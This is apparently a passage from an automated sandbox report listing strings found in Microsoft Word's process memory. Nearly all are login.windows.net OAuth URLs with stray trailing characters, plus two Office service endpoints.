Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorize6GP
Source: WINWORD.EXE, 00000001.00000003.417572350.000000001087D000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571214526.000000001087D000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292128544.0000000010877000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292417505.000000001087F000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorize8
Source: WINWORD.EXE, 00000001.00000003.417572350.000000001087D000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571214526.000000001087D000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292128544.0000000010877000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292417505.000000001087F000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorize9
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorize;
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorize=
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorize?
Source: WINWORD.EXE, 00000001.00000003.417572350.000000001087D000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571214526.000000001087D000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292128544.0000000010877000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292417505.000000001087F000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizeA3V
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizeA?V
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizeAGc
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizeE
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizeF
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizeH
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizeIa
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizeJ
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizeK
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizeN~
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizeO
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizePGr
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizeQHs
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizeT
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizeU
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizeWFq
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizeXa
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizeY
Source: WINWORD.EXE, 00000001.00000003.417572350.000000001087D000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571214526.000000001087D000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292128544.0000000010877000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292417505.000000001087F000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizeZ
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizea
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizeaE
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizec
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizecG
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizecom7HQ
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizee
Source: WINWORD.EXE, 00000001.00000003.417572350.000000001087D000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571214526.000000001087D000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292128544.0000000010877000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292417505.000000001087F000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizefic
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizeg
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizei
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizeize
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizej
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizeka
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizel
Source: WINWORD.EXE, 00000001.00000003.417572350.000000001087D000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571214526.000000001087D000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292128544.0000000010877000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292417505.000000001087F000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizellJ
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizemH
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizep
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizepE
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizeqF
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizerGl
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizesHm
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizete
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizex
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizey
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://login.windows.net/common/oauth2/authorizeza
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://loki.delve.office.com/api/v1/configuration/officewin32/
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://lookup.onenote.com/lookup/geolocation/v1
